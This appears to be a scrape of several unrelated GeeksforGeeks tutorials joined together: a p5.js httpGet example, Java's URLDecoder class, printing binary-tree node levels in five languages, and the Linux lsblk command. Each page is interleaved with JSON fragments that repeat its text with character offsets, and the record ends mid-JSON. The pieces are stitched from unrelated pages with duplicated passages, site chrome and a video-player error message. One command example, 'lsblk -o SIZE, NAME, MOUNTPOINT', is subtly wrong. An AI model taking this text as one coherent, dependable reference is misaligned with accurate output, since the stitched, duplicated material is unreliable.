"code": "let user_data; function preload() { // Get a random user from the test API let api_url = 'https://reqres.in/api/users/' + int(random(1, 10)); httpGet(api_url, 'json', false, function (response) { user_data = response; }); // Log the received data to console console.log(user_data);} function setup() { createCanvas(550, 200); textSize(18);} function draw() { clear(); if (!user_data) return; text(\"Data fetched from API, can be viewed \" + \"in console\", 20, 60); text(\"The First Name in the data is: \" + user_data.data.first_name, 20, 100); text(\"The Last Name in the data is: \" + user_data.data.last_name, 20, 120); text(\"The Email in the data is: \" + user_data.data.email, 20, 140);}",
"e": 29045,
"s": 28305,
"text": null
},
{
"code": null,
"e": 29055,
"s": 29045,
"text": "Output: "
},
{
"code": null,
"e": 29068,
"s": 29055,
"text": "Example 2: "
},
{
"code": null,
"e": 29079,
"s": 29068,
"text": "javascript"
},
{
"code": "function setup() { createCanvas(550, 200); textSize(18); // Get a random user from the test API let api_url = 'https://reqres.in/api/users/' + int(random(1, 10)); httpGet(api_url, 'json', false, onSuccessfulFetch, onErrorFetch);} function onSuccessfulFetch(response) { text(\"Data successfully fetched from API, \" + \"can be viewed in console\", 20, 60); text(\"The First Name in the data is: \" + response.data.first_name, 20, 100); text(\"The Last Name in the data is: \" + response.data.last_name, 20, 120); text(\"The Email in the data is: \" + response.data.email, 20, 140);} function onErrorFetch() { text(\"There was an error fetching the data.\", 20, 60);}",
"e": 29771,
"s": 29079,
"text": null
},
{
"code": null,
"e": 29781,
"s": 29771,
"text": "Output: "
},
{
"code": null,
"e": 29969,
"s": 29781,
"text": "Online editor: https://editor.p5js.org/Environment Setup: https://www.geeksforgeeks.org/p5-js-soundfile-object-installation-and-methods/Reference: https://p5js.org/reference/#/p5/httpGet "
},
{
"code": null,
"e": 29984,
"s": 29969,
"text": "sagartomar9927"
},
{
"code": null,
"e": 30001,
"s": 29984,
"text": "JavaScript-p5.js"
},
{
"code": null,
"e": 30012,
"s": 30001,
"text": "JavaScript"
},
{
"code": null,
"e": 30029,
"s": 30012,
"text": "Web Technologies"
},
{
"code": null,
"e": 30127,
"s": 30029,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 30167,
"s": 30127,
"text": "Remove elements from a JavaScript Array"
},
{
"code": null,
"e": 30228,
"s": 30167,
"text": "Difference between var, let and const keywords in JavaScript"
},
{
"code": null,
"e": 30269,
"s": 30228,
"text": "Difference Between PUT and PATCH Request"
},
{
"code": null,
"e": 30291,
"s": 30269,
"text": "JavaScript | Promises"
},
{
"code": null,
"e": 30345,
"s": 30291,
"text": "How to get character array from string in JavaScript?"
},
{
"code": null,
"e": 30385,
"s": 30345,
"text": "Remove elements from a JavaScript Array"
},
{
"code": null,
"e": 30418,
"s": 30385,
"text": "Installation of Node.js on Linux"
},
{
"code": null,
"e": 30461,
"s": 30418,
"text": "How to fetch data from an API in ReactJS ?"
},
{
"code": null,
"e": 30511,
"s": 30461,
"text": "How to insert spaces/tabs in text using HTML/CSS?"
}
] |
Java.net.URLDecoder class in Java - GeeksforGeeks
|
16 Jun, 2017
This is a utility class for HTML form decoding. It just performs the reverse of what URLEncoder class do, i.e. given an encoded string, it decodes it using the scheme specified. Generally when accessing the contents of request using getParameter() method in servlet programming, the values are automatically decoded before they are returned. But sometimes there may be a need to explicitly decode an otherwise URL encoded string.The following steps are followed while decoding the strings:
Alphanumeric characters and certain special characters such as ‘*‘, ‘_‘, ‘–‘ and ‘.‘ remains unchanged.‘+‘ signs are converted into spaces.All other characters are decoded using the encoding scheme specified. The string of the form %xy, is converted to the character whose encoding would have resulted in this three character representation. W3C recommends using “UTF-8” for encoding purposes.
Alphanumeric characters and certain special characters such as ‘*‘, ‘_‘, ‘–‘ and ‘.‘ remains unchanged.
‘+‘ signs are converted into spaces.
All other characters are decoded using the encoding scheme specified. The string of the form %xy, is converted to the character whose encoding would have resulted in this three character representation. W3C recommends using “UTF-8” for encoding purposes.
For example, the encoded string
u%40geeks+for+geeks
will be converted into the string representation where %40 will be replaced by an @ symbol and + signs are converted into space characters.
u@geeks for geeks
Methods :
decode() : This is one and only method provided by this class. It as the name suggests returns an decoded string for the specified string. One method, which is now deprecated has only one parameter, the string to be decoded. It doesn’t let you specify the encoding scheme used and uses the platform default encoding scheme. Another version allows the specification of the encoding to be used, and thus is widely used.Syntax :public static String decode(String s)- @Deprecated
Parameters :
s : encoded string to be decoded
Syntax :public static String decode(String s,
String enc)
throws UnsupportedEncodingException
Parameters :
s : string to be decoded
enc : encoding to be used
Throws :
UnsupportedEncodingException : If the specified encoding is not used
Syntax :public static String decode(String s)- @Deprecated
Parameters :
s : encoded string to be decoded
Syntax :public static String decode(String s,
String enc)
throws UnsupportedEncodingException
Parameters :
s : string to be decoded
enc : encoding to be used
Throws :
UnsupportedEncodingException : If the specified encoding is not used
Java Implementation :
// Java program to show decode() method of // URLDecoder classimport java.io.UnsupportedEncodingException;import java.net.URLDecoder; public class urlDecoder { public static void main(String[] args) throws UnsupportedEncodingException { // encoded string String encodedString = "u%40geeks+for+geeks"; System.out.println("Encoded String :"); System.out.println(encodedString); // decode() method System.out.println("Decoded String :"); System.out.println(URLDecoder.decode(encodedString, "UTF-8")); }}
Output :
Encoded String :
u%40geeks+for+geeks
Decoded String :
u@geeks for geeks
References :Official Java DocumentationThis article is contributed by Rishabh Mahrsee. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Java-Networking
Java
Java
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Object Oriented Programming (OOPs) Concept in Java
HashMap in Java with Examples
Stream In Java
Interfaces in Java
How to iterate any Map in Java
ArrayList in Java
Initialize an ArrayList in Java
Stack Class in Java
Singleton Class in Java
Multidimensional Arrays in Java
|
[
{
"code": null,
"e": 25683,
"s": 25655,
"text": "\n16 Jun, 2017"
},
{
"code": null,
"e": 26173,
"s": 25683,
"text": "This is a utility class for HTML form decoding. It just performs the reverse of what URLEncoder class do, i.e. given an encoded string, it decodes it using the scheme specified. Generally when accessing the contents of request using getParameter() method in servlet programming, the values are automatically decoded before they are returned. But sometimes there may be a need to explicitly decode an otherwise URL encoded string.The following steps are followed while decoding the strings:"
},
{
"code": null,
"e": 26567,
"s": 26173,
"text": "Alphanumeric characters and certain special characters such as ‘*‘, ‘_‘, ‘–‘ and ‘.‘ remains unchanged.‘+‘ signs are converted into spaces.All other characters are decoded using the encoding scheme specified. The string of the form %xy, is converted to the character whose encoding would have resulted in this three character representation. W3C recommends using “UTF-8” for encoding purposes."
},
{
"code": null,
"e": 26671,
"s": 26567,
"text": "Alphanumeric characters and certain special characters such as ‘*‘, ‘_‘, ‘–‘ and ‘.‘ remains unchanged."
},
{
"code": null,
"e": 26708,
"s": 26671,
"text": "‘+‘ signs are converted into spaces."
},
{
"code": null,
"e": 26963,
"s": 26708,
"text": "All other characters are decoded using the encoding scheme specified. The string of the form %xy, is converted to the character whose encoding would have resulted in this three character representation. W3C recommends using “UTF-8” for encoding purposes."
},
{
"code": null,
"e": 26995,
"s": 26963,
"text": "For example, the encoded string"
},
{
"code": null,
"e": 27015,
"s": 26995,
"text": "u%40geeks+for+geeks"
},
{
"code": null,
"e": 27155,
"s": 27015,
"text": "will be converted into the string representation where %40 will be replaced by an @ symbol and + signs are converted into space characters."
},
{
"code": null,
"e": 27173,
"s": 27155,
"text": "u@geeks for geeks"
},
{
"code": null,
"e": 27183,
"s": 27173,
"text": "Methods :"
},
{
"code": null,
"e": 27976,
"s": 27183,
"text": "decode() : This is one and only method provided by this class. It as the name suggests returns an decoded string for the specified string. One method, which is now deprecated has only one parameter, the string to be decoded. It doesn’t let you specify the encoding scheme used and uses the platform default encoding scheme. Another version allows the specification of the encoding to be used, and thus is widely used.Syntax :public static String decode(String s)- @Deprecated\nParameters :\ns : encoded string to be decoded\nSyntax :public static String decode(String s,\n String enc)\n throws UnsupportedEncodingException\nParameters : \ns : string to be decoded\nenc : encoding to be used\nThrows :\nUnsupportedEncodingException : If the specified encoding is not used\n"
},
{
"code": null,
"e": 28082,
"s": 27976,
"text": "Syntax :public static String decode(String s)- @Deprecated\nParameters :\ns : encoded string to be decoded\n"
},
{
"code": null,
"e": 28353,
"s": 28082,
"text": "Syntax :public static String decode(String s,\n String enc)\n throws UnsupportedEncodingException\nParameters : \ns : string to be decoded\nenc : encoding to be used\nThrows :\nUnsupportedEncodingException : If the specified encoding is not used\n"
},
{
"code": null,
"e": 28375,
"s": 28353,
"text": "Java Implementation :"
},
{
"code": "// Java program to show decode() method of // URLDecoder classimport java.io.UnsupportedEncodingException;import java.net.URLDecoder; public class urlDecoder { public static void main(String[] args) throws UnsupportedEncodingException { // encoded string String encodedString = \"u%40geeks+for+geeks\"; System.out.println(\"Encoded String :\"); System.out.println(encodedString); // decode() method System.out.println(\"Decoded String :\"); System.out.println(URLDecoder.decode(encodedString, \"UTF-8\")); }}",
"e": 28975,
"s": 28375,
"text": null
},
{
"code": null,
"e": 28984,
"s": 28975,
"text": "Output :"
},
{
"code": null,
"e": 29057,
"s": 28984,
"text": "Encoded String :\nu%40geeks+for+geeks\nDecoded String :\nu@geeks for geeks\n"
},
{
"code": null,
"e": 29399,
"s": 29057,
"text": "References :Official Java DocumentationThis article is contributed by Rishabh Mahrsee. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks."
},
{
"code": null,
"e": 29524,
"s": 29399,
"text": "Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above."
},
{
"code": null,
"e": 29540,
"s": 29524,
"text": "Java-Networking"
},
{
"code": null,
"e": 29545,
"s": 29540,
"text": "Java"
},
{
"code": null,
"e": 29550,
"s": 29545,
"text": "Java"
},
{
"code": null,
"e": 29648,
"s": 29550,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 29699,
"s": 29648,
"text": "Object Oriented Programming (OOPs) Concept in Java"
},
{
"code": null,
"e": 29729,
"s": 29699,
"text": "HashMap in Java with Examples"
},
{
"code": null,
"e": 29744,
"s": 29729,
"text": "Stream In Java"
},
{
"code": null,
"e": 29763,
"s": 29744,
"text": "Interfaces in Java"
},
{
"code": null,
"e": 29794,
"s": 29763,
"text": "How to iterate any Map in Java"
},
{
"code": null,
"e": 29812,
"s": 29794,
"text": "ArrayList in Java"
},
{
"code": null,
"e": 29844,
"s": 29812,
"text": "Initialize an ArrayList in Java"
},
{
"code": null,
"e": 29864,
"s": 29844,
"text": "Stack Class in Java"
},
{
"code": null,
"e": 29888,
"s": 29864,
"text": "Singleton Class in Java"
}
] |
Print Levels of all nodes in a Binary Tree - GeeksforGeeks
|
14 Mar, 2022
Given a Binary Tree and a key, write a function that prints levels of all keys in given binary tree.For example, consider the following tree. If the input key is 3, then your function should return 1. If the input key is 4, then your function should return 3. And for key which is not present in key, then your function should return 0.
Input:
3
/ \
2 5
/ \
1 4
output:
Level of 1 is 3
Level of 2 is 2
Level of 3 is 1
Level of 4 is 3
Level of 5 is 2
We have discussed an recursive solution in below post. Get Level of a node in a Binary TreeIn this post, an iterative solution based on Level order traversal is discussed. We store level of every node in queue together with the node while doing the traversal.
C++
Java
Python3
C#
Javascript
// An iterative C++ program to print levels// of all nodes#include <bits/stdc++.h>using namespace std; /* A tree node structure */struct Node { int data; struct Node* left; struct Node* right;}; void printLevel(struct Node* root){ if (!root) return; // queue to hold tree node with level queue<pair<struct Node*, int> > q; q.push({root, 1}); // let root node be at level 1 pair<struct Node*, int> p; // Do level Order Traversal of tree while (!q.empty()) { p = q.front(); q.pop(); cout << "Level of " << p.first->data << " is " << p.second << "\n"; if (p.first->left) q.push({ p.first->left, p.second + 1 }); if (p.first->right) q.push({ p.first->right, p.second + 1 }); }} /* Utility function to create a new Binary Tree node */struct Node* newNode(int data){ struct Node* temp = new struct Node; temp->data = data; temp->left = temp->right = NULL; return temp;} /* Driver function to test above functions */int main(){ struct Node* root = NULL; /* Constructing tree given in the above figure */ root = newNode(3); root->left = newNode(2); root->right = newNode(5); root->left->left = newNode(1); root->left->right = newNode(4); printLevel(root); return 0;}
// Java program to print// levels of all nodesimport java.util.LinkedList;import java.util.Queue;public class Print_Level_Btree { /* A tree node structure */ static class Node { int data; Node left; Node right; Node(int data){ this.data = data; left = null; right = null; } } // User defined class Pair to hold // the node and its level static class Pair{ Node n; int i; Pair(Node n, int i){ this.n = n; this.i = i; } } // function to print the nodes and // its corresponding level static void printLevel(Node root) { if (root == null) return; // queue to hold tree node with level Queue<Pair> q = new LinkedList<Pair>(); // let root node be at level 1 q.add(new Pair(root, 1)); Pair p; // Do level Order Traversal of tree while (!q.isEmpty()) { p = q.peek(); q.remove(); System.out.println("Level of " + p.n.data + " is " + p.i); if (p.n.left != null) q.add(new Pair(p.n.left, p.i + 1)); if (p.n.right != null) q.add(new Pair(p.n.right, p.i + 1)); } } /* Driver function to test above functions */ public static void main(String args[]) { Node root = null; /* Constructing tree given in the above figure */ root = new Node(3); root.left = new Node(2); root.right = new Node(5); root.left.left = new Node(1); root.left.right = new Node(4); printLevel(root); }}// This code is contributed by Sumit Ghosh
# Python3 program to print levels# of all nodes # Helper function that allocates a new# node with the given data and None# left and right pointers. class newNode: # Construct to create a new node def __init__(self, key): self.data = key self.left = None self.right = None def printLevel( root): if (not root): return # queue to hold tree node with level q = [] # let root node be at level 1 q.append([root, 1]) p = [] # Do level Order Traversal of tree while (len(q)): p = q[0] q.pop(0) print("Level of", p[0].data, "is", p[1]) if (p[0].left): q.append([p[0].left, p[1] + 1]) if (p[0].right): q.append([p[0].right, p[1] + 1 ]) # Driver Codeif __name__ == '__main__': """ Let us create Binary Tree shown in above example """ root = newNode(3) root.left = newNode(2) root.right = newNode(5) root.left.left = newNode(1) root.left.right = newNode(4) printLevel(root) # This code is contributed by# Shubham Singh(SHUBHAMSINGH10)
using System;using System.Collections.Generic; // C# program to print // levels of all nodespublic class Print_Level_Btree{ /* A tree node structure */ public class Node { public int data; public Node left; public Node right; public Node(int data) { this.data = data; left = null; right = null; } } // User defined class Pair to hold // the node and its level public class Pair { public Node n; public int i; public Pair(Node n, int i) { this.n = n; this.i = i; } } // function to print the nodes and // its corresponding level public static void printLevel(Node root) { if (root == null) { return; } // queue to hold tree node with level LinkedList<Pair> q = new LinkedList<Pair>(); // let root node be at level 1 q.AddLast(new Pair(root, 1)); Pair p; // Do level Order Traversal of tree while (q.Count > 0) { p = q.First.Value; q.RemoveFirst(); Console.WriteLine("Level of " + p.n.data + " is " + p.i); if (p.n.left != null) { q.AddLast(new Pair(p.n.left, p.i + 1)); } if (p.n.right != null) { q.AddLast(new Pair(p.n.right, p.i + 1)); } } } /* Driver function to test above functions */ public static void Main(string[] args) { Node root = null; /* Constructing tree given in the above figure */ root = new Node(3); root.left = new Node(2); root.right = new Node(5); root.left.left = new Node(1); root.left.right = new Node(4); printLevel(root); }} // This code is contributed by Shrikant13
<script> // Javascript program to print // levels of all nodes class Node { constructor(data) { this.left = null; this.right = null; this.data = data; } } // function to print the nodes and // its corresponding level function printLevel(root) { if (root == null) return; // queue to hold tree node with level let q = []; // let root node be at level 1 q.push([root, 1]); let p; // Do level Order Traversal of tree while (q.length > 0) { p = q[0]; q.shift(); document.write("Level of " + p[0].data + " is " + p[1] + "</br>"); if (p[0].left != null) q.push([p[0].left, p[1] + 1]); if (p[0].right != null) q.push([p[0].right, p[1] + 1]); } } let root = null; /* Constructing tree given in the above figure */ root = new Node(3); root.left = new Node(2); root.right = new Node(5); root.left.left = new Node(1); root.left.right = new Node(4); printLevel(root); // This code is contributed by suresh07.</script>
Output :
Level of 3 is 1
Level of 2 is 2
Level of 5 is 2
Level of 1 is 3
Level of 4 is 3
Time Complexity: O(n) where n is the number of nodes in the given Binary Tree.
YouTubeGeeksforGeeks508K subscribersPrint Levels of all nodes in a Binary Tree | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 3:56•Live•<div class="player-unavailable"><h1 class="message">An error occurred.</h1><div class="submessage"><a href="https://www.youtube.com/watch?v=yXbkd0MJZfw" target="_blank">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>
This article is contributed by Abhishek Rajput. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
shrikanth13
SHUBHAMSINGH10
Akanksha_Rai
suresh07
simmytarika5
surinderdawra388
tree-level-order
Tree
Tree
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Binary Tree | Set 3 (Types of Binary Tree)
Binary Tree | Set 2 (Properties)
Decision Tree
Introduction to Tree Data Structure
Lowest Common Ancestor in a Binary Tree | Set 1
BFS vs DFS for Binary Tree
Complexity of different operations in Binary tree, Binary Search Tree and AVL tree
Expression Tree
Deletion in a Binary Tree
Segment Tree | Set 1 (Sum of given range)
|
[
{
"code": null,
"e": 26259,
"s": 26231,
"text": "\n14 Mar, 2022"
},
{
"code": null,
"e": 26597,
"s": 26259,
"text": "Given a Binary Tree and a key, write a function that prints levels of all keys in given binary tree.For example, consider the following tree. If the input key is 3, then your function should return 1. If the input key is 4, then your function should return 3. And for key which is not present in key, then your function should return 0. "
},
{
"code": null,
"e": 26747,
"s": 26599,
"text": "Input:\n 3\n / \\\n 2 5\n / \\\n 1 4\n\noutput:\n Level of 1 is 3\n Level of 2 is 2\n Level of 3 is 1\n Level of 4 is 3\n Level of 5 is 2"
},
{
"code": null,
"e": 27011,
"s": 26749,
"text": "We have discussed an recursive solution in below post. Get Level of a node in a Binary TreeIn this post, an iterative solution based on Level order traversal is discussed. We store level of every node in queue together with the node while doing the traversal. "
},
{
"code": null,
"e": 27015,
"s": 27011,
"text": "C++"
},
{
"code": null,
"e": 27020,
"s": 27015,
"text": "Java"
},
{
"code": null,
"e": 27028,
"s": 27020,
"text": "Python3"
},
{
"code": null,
"e": 27031,
"s": 27028,
"text": "C#"
},
{
"code": null,
"e": 27042,
"s": 27031,
"text": "Javascript"
},
{
"code": "// An iterative C++ program to print levels// of all nodes#include <bits/stdc++.h>using namespace std; /* A tree node structure */struct Node { int data; struct Node* left; struct Node* right;}; void printLevel(struct Node* root){ if (!root) return; // queue to hold tree node with level queue<pair<struct Node*, int> > q; q.push({root, 1}); // let root node be at level 1 pair<struct Node*, int> p; // Do level Order Traversal of tree while (!q.empty()) { p = q.front(); q.pop(); cout << \"Level of \" << p.first->data << \" is \" << p.second << \"\\n\"; if (p.first->left) q.push({ p.first->left, p.second + 1 }); if (p.first->right) q.push({ p.first->right, p.second + 1 }); }} /* Utility function to create a new Binary Tree node */struct Node* newNode(int data){ struct Node* temp = new struct Node; temp->data = data; temp->left = temp->right = NULL; return temp;} /* Driver function to test above functions */int main(){ struct Node* root = NULL; /* Constructing tree given in the above figure */ root = newNode(3); root->left = newNode(2); root->right = newNode(5); root->left->left = newNode(1); root->left->right = newNode(4); printLevel(root); return 0;}",
"e": 28357,
"s": 27042,
"text": null
},
{
"code": "// Java program to print// levels of all nodesimport java.util.LinkedList;import java.util.Queue;public class Print_Level_Btree { /* A tree node structure */ static class Node { int data; Node left; Node right; Node(int data){ this.data = data; left = null; right = null; } } // User defined class Pair to hold // the node and its level static class Pair{ Node n; int i; Pair(Node n, int i){ this.n = n; this.i = i; } } // function to print the nodes and // its corresponding level static void printLevel(Node root) { if (root == null) return; // queue to hold tree node with level Queue<Pair> q = new LinkedList<Pair>(); // let root node be at level 1 q.add(new Pair(root, 1)); Pair p; // Do level Order Traversal of tree while (!q.isEmpty()) { p = q.peek(); q.remove(); System.out.println(\"Level of \" + p.n.data + \" is \" + p.i); if (p.n.left != null) q.add(new Pair(p.n.left, p.i + 1)); if (p.n.right != null) q.add(new Pair(p.n.right, p.i + 1)); } } /* Driver function to test above functions */ public static void main(String args[]) { Node root = null; /* Constructing tree given in the above figure */ root = new Node(3); root.left = new Node(2); root.right = new Node(5); root.left.left = new Node(1); root.left.right = new Node(4); printLevel(root); }}// This code is contributed by Sumit Ghosh",
"e": 30151,
"s": 28357,
"text": null
},
{
"code": "# Python3 program to print levels# of all nodes # Helper function that allocates a new# node with the given data and None# left and right pointers. class newNode: # Construct to create a new node def __init__(self, key): self.data = key self.left = None self.right = None def printLevel( root): if (not root): return # queue to hold tree node with level q = [] # let root node be at level 1 q.append([root, 1]) p = [] # Do level Order Traversal of tree while (len(q)): p = q[0] q.pop(0) print(\"Level of\", p[0].data, \"is\", p[1]) if (p[0].left): q.append([p[0].left, p[1] + 1]) if (p[0].right): q.append([p[0].right, p[1] + 1 ]) # Driver Codeif __name__ == '__main__': \"\"\" Let us create Binary Tree shown in above example \"\"\" root = newNode(3) root.left = newNode(2) root.right = newNode(5) root.left.left = newNode(1) root.left.right = newNode(4) printLevel(root) # This code is contributed by# Shubham Singh(SHUBHAMSINGH10)",
"e": 31263,
"s": 30151,
"text": null
},
{
"code": "using System;using System.Collections.Generic; // C# program to print // levels of all nodespublic class Print_Level_Btree{ /* A tree node structure */ public class Node { public int data; public Node left; public Node right; public Node(int data) { this.data = data; left = null; right = null; } } // User defined class Pair to hold // the node and its level public class Pair { public Node n; public int i; public Pair(Node n, int i) { this.n = n; this.i = i; } } // function to print the nodes and // its corresponding level public static void printLevel(Node root) { if (root == null) { return; } // queue to hold tree node with level LinkedList<Pair> q = new LinkedList<Pair>(); // let root node be at level 1 q.AddLast(new Pair(root, 1)); Pair p; // Do level Order Traversal of tree while (q.Count > 0) { p = q.First.Value; q.RemoveFirst(); Console.WriteLine(\"Level of \" + p.n.data + \" is \" + p.i); if (p.n.left != null) { q.AddLast(new Pair(p.n.left, p.i + 1)); } if (p.n.right != null) { q.AddLast(new Pair(p.n.right, p.i + 1)); } } } /* Driver function to test above functions */ public static void Main(string[] args) { Node root = null; /* Constructing tree given in the above figure */ root = new Node(3); root.left = new Node(2); root.right = new Node(5); root.left.left = new Node(1); root.left.right = new Node(4); printLevel(root); }} // This code is contributed by Shrikant13",
"e": 33159,
"s": 31263,
"text": null
},
{
"code": "<script> // Javascript program to print // levels of all nodes class Node { constructor(data) { this.left = null; this.right = null; this.data = data; } } // function to print the nodes and // its corresponding level function printLevel(root) { if (root == null) return; // queue to hold tree node with level let q = []; // let root node be at level 1 q.push([root, 1]); let p; // Do level Order Traversal of tree while (q.length > 0) { p = q[0]; q.shift(); document.write(\"Level of \" + p[0].data + \" is \" + p[1] + \"</br>\"); if (p[0].left != null) q.push([p[0].left, p[1] + 1]); if (p[0].right != null) q.push([p[0].right, p[1] + 1]); } } let root = null; /* Constructing tree given in the above figure */ root = new Node(3); root.left = new Node(2); root.right = new Node(5); root.left.left = new Node(1); root.left.right = new Node(4); printLevel(root); // This code is contributed by suresh07.</script>",
"e": 34424,
"s": 33159,
"text": null
},
{
"code": null,
"e": 34435,
"s": 34424,
"text": "Output : "
},
{
"code": null,
"e": 34515,
"s": 34435,
"text": "Level of 3 is 1\nLevel of 2 is 2\nLevel of 5 is 2\nLevel of 1 is 3\nLevel of 4 is 3"
},
{
"code": null,
"e": 34595,
"s": 34515,
"text": "Time Complexity: O(n) where n is the number of nodes in the given Binary Tree. "
},
{
"code": null,
"e": 35436,
"s": 34595,
"text": "YouTubeGeeksforGeeks508K subscribersPrint Levels of all nodes in a Binary Tree | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 3:56•Live•<div class=\"player-unavailable\"><h1 class=\"message\">An error occurred.</h1><div class=\"submessage\"><a href=\"https://www.youtube.com/watch?v=yXbkd0MJZfw\" target=\"_blank\">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>"
},
{
"code": null,
"e": 35860,
"s": 35436,
"text": "This article is contributed by Abhishek Rajput. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. "
},
{
"code": null,
"e": 35872,
"s": 35860,
"text": "shrikanth13"
},
{
"code": null,
"e": 35887,
"s": 35872,
"text": "SHUBHAMSINGH10"
},
{
"code": null,
"e": 35900,
"s": 35887,
"text": "Akanksha_Rai"
},
{
"code": null,
"e": 35909,
"s": 35900,
"text": "suresh07"
},
{
"code": null,
"e": 35922,
"s": 35909,
"text": "simmytarika5"
},
{
"code": null,
"e": 35939,
"s": 35922,
"text": "surinderdawra388"
},
{
"code": null,
"e": 35956,
"s": 35939,
"text": "tree-level-order"
},
{
"code": null,
"e": 35961,
"s": 35956,
"text": "Tree"
},
{
"code": null,
"e": 35966,
"s": 35961,
"text": "Tree"
},
{
"code": null,
"e": 36064,
"s": 35966,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 36107,
"s": 36064,
"text": "Binary Tree | Set 3 (Types of Binary Tree)"
},
{
"code": null,
"e": 36140,
"s": 36107,
"text": "Binary Tree | Set 2 (Properties)"
},
{
"code": null,
"e": 36154,
"s": 36140,
"text": "Decision Tree"
},
{
"code": null,
"e": 36190,
"s": 36154,
"text": "Introduction to Tree Data Structure"
},
{
"code": null,
"e": 36238,
"s": 36190,
"text": "Lowest Common Ancestor in a Binary Tree | Set 1"
},
{
"code": null,
"e": 36265,
"s": 36238,
"text": "BFS vs DFS for Binary Tree"
},
{
"code": null,
"e": 36348,
"s": 36265,
"text": "Complexity of different operations in Binary tree, Binary Search Tree and AVL tree"
},
{
"code": null,
"e": 36364,
"s": 36348,
"text": "Expression Tree"
},
{
"code": null,
"e": 36390,
"s": 36364,
"text": "Deletion in a Binary Tree"
}
] |
lsblk Command in Linux with Examples - GeeksforGeeks
|
27 Sep, 2021
Lsblk is used to display details about block devices and these block devices(Except ram disk) are basically those files that represent devices connected to the pc. It queries /sys virtual file system and udev db to obtain information that it displays. And it basically displays output in a tree-like structure. This command comes pre-installed with the util-Linux package.
Many Linux distributions do not have lsblk command pre-installed. To install it use the following commands as per your Linux distribution.
In case of Debian/Ubuntu
$sudo apt-get install util-linux
In case of CentOS/RedHat
$sudo yum install util-linux-ng
In case of Fedora OS
$sudo yum install util-linux-ng
1. To display block devices.
$lsblk
It displays the list of block devices on your system.
2. To display empty block devices as well.
#lsblk -a
This will display all block devices along with empty ones.
3. To print size information in bytes.
$lsblk -b
It displays all the block devices along with their sizes in bytes.
4. To print zone model for devices.
$lsblk -z
5. To skip slave entries.
$lsblk -d
This will skip all the slave entries.
6.To use ASCII characters for tree formatting.
$lsblk -i
This will display the tree formatting with ASCII character values.
7. To print information about device owner, group, and mode of block devices.
$lsblk -m
This will display all details of device owner, group and mode of block devices.
8. To print selected columns of block-devices.
$lsblk -o SIZE, NAME, MOUNTPOINT
This will print only the specified columns.
9. To hide column headings.
$lsblk -dn
This will hide column headings.
10. To display help section of the command.
$lsblk --help
This will display the help section of the command.
simmytarika5
linux-command
Linux-system-commands
Linux-Unix
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
TCP Server-Client implementation in C
tar command in Linux with examples
UDP Server-Client implementation in C
curl command in Linux with Examples
'crontab' in Linux with Examples
Conditional Statements | Shell Script
diff command in Linux with examples
Cat command in Linux with examples
echo command in Linux with Examples
Mutex lock for Linux Thread Synchronization
|
[
{
"code": null,
"e": 24475,
"s": 24444,
"text": " \n27 Sep, 2021\n"
},
{
"code": null,
"e": 24849,
"s": 24475,
"text": "Lsblk is used to display details about block devices and these block devices(Except ram disk) are basically those files that represent devices connected to the pc. It queries /sys virtual file system and udev db to obtain information that it displays. And it basically displays output in a tree-like structure. This command comes pre-installed with the util-Linux package. "
},
{
"code": null,
"e": 24989,
"s": 24849,
"text": "Many Linux distributions do not have lsblk command pre-installed. To install it use the following commands as per your Linux distribution. "
},
{
"code": null,
"e": 25016,
"s": 24989,
"text": "In case of Debian/Ubuntu "
},
{
"code": null,
"e": 25049,
"s": 25016,
"text": "$sudo apt-get install util-linux"
},
{
"code": null,
"e": 25076,
"s": 25049,
"text": "In case of CentOS/RedHat "
},
{
"code": null,
"e": 25108,
"s": 25076,
"text": "$sudo yum install util-linux-ng"
},
{
"code": null,
"e": 25131,
"s": 25108,
"text": "In case of Fedora OS "
},
{
"code": null,
"e": 25163,
"s": 25131,
"text": "$sudo yum install util-linux-ng"
},
{
"code": null,
"e": 25193,
"s": 25163,
"text": "1. To display block devices. "
},
{
"code": null,
"e": 25201,
"s": 25193,
"text": "$lsblk "
},
{
"code": null,
"e": 25256,
"s": 25201,
"text": "It displays the list of block devices on your system. "
},
{
"code": null,
"e": 25301,
"s": 25256,
"text": "2. To display empty block devices as well. "
},
{
"code": null,
"e": 25312,
"s": 25301,
"text": "#lsblk -a "
},
{
"code": null,
"e": 25372,
"s": 25312,
"text": "This will display all block devices along with empty ones. "
},
{
"code": null,
"e": 25412,
"s": 25372,
"text": "3. To print size information in bytes. "
},
{
